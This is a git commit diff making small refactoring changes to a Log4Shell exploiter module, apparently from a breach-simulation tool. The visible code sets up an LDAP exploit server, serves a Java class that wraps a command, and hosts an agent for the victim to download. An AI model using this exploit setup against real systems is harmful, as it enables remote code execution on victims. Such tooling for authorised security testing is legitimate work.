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Agent: log4shell readability and style fixes

This commit is contained in:
vakarisz 2022-01-18 12:48:56 +02:00
parent 52ac7dd295
commit 76a32d241c
1 changed files with 5 additions and 9 deletions
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14
monkey/infection_monkey/exploit/log4shell.py
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@ -33,7 +33,7 @@ class Log4ShellExploiter(WebRCE):
EXPLOIT_TYPE = ExploitType.VULNERABILITY EXPLOIT_TYPE = ExploitType.VULNERABILITY
_EXPLOITED_SERVICE = "Log4j" _EXPLOITED_SERVICE = "Log4j"
DOWNLOAD_TIMEOUT = 15 DOWNLOAD_TIMEOUT = 15
REQUEST_TO_VICTIM_TIME = 5 # How long the request from victim to monkey might take. In seconds REQUEST_TO_VICTIM_TIME = 5 # Max time agent will wait for the response from victim in SECONDS
def __init__(self, host: VictimHost): def __init__(self, host: VictimHost):
super().__init__(host) super().__init__(host)
@ -41,7 +41,7 @@ class Log4ShellExploiter(WebRCE):
self._ldap_port = get_free_tcp_port() self._ldap_port = get_free_tcp_port()
self._class_http_server_ip = get_interface_to_target(self.host.ip_addr) self._class_http_server_ip = get_interface_to_target(self.host.ip_addr)
self.class_http_server_port = get_free_tcp_port() self._class_http_server_port = get_free_tcp_port()
self._ldap_server = None self._ldap_server = None
self._exploit_class_http_server = None self._exploit_class_http_server = None
@ -71,21 +71,17 @@ class Log4ShellExploiter(WebRCE):
def _start_agent_http_server(self, agent_paths: dict) -> str: def _start_agent_http_server(self, agent_paths: dict) -> str:
# Create server for http download and wait for it's startup. # Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.create_locked_transfer( http_path, http_thread = HTTPTools.try_create_locked_transfer(
self.host, agent_paths["src_path"] self.host, agent_paths["src_path"]
) )
self._agent_http_server_thread = http_thread self._agent_http_server_thread = http_thread
if not http_path:
logger.debug("Exploiter failed, couldn't start an http server to serve agent.")
raise Exception("Http server creation failed")
logger.info("Started http server on %s", http_path)
return http_path return http_path
def _start_class_http_server(self, command: str): def _start_class_http_server(self, command: str):
java_class = self._build_java_class(command) java_class = self._build_java_class(command)
self._exploit_class_http_server = ExploitClassHTTPServer( self._exploit_class_http_server = ExploitClassHTTPServer(
self._class_http_server_ip, self.class_http_server_port, java_class self._class_http_server_ip, self._class_http_server_port, java_class
) )
# Setting `daemon=True` to save ourselves some trouble when this is merged to the # Setting `daemon=True` to save ourselves some trouble when this is merged to the
# agent-refactor branch. # agent-refactor branch.
@ -100,7 +96,7 @@ class Log4ShellExploiter(WebRCE):
self._ldap_server = LDAPExploitServer( self._ldap_server = LDAPExploitServer(
ldap_server_port=self._ldap_port, ldap_server_port=self._ldap_port,
http_server_ip=self._class_http_server_ip, http_server_ip=self._class_http_server_ip,
http_server_port=self.class_http_server_port, http_server_port=self._class_http_server_port,
storage_dir=get_monkey_dir_path(), storage_dir=get_monkey_dir_path(),
) )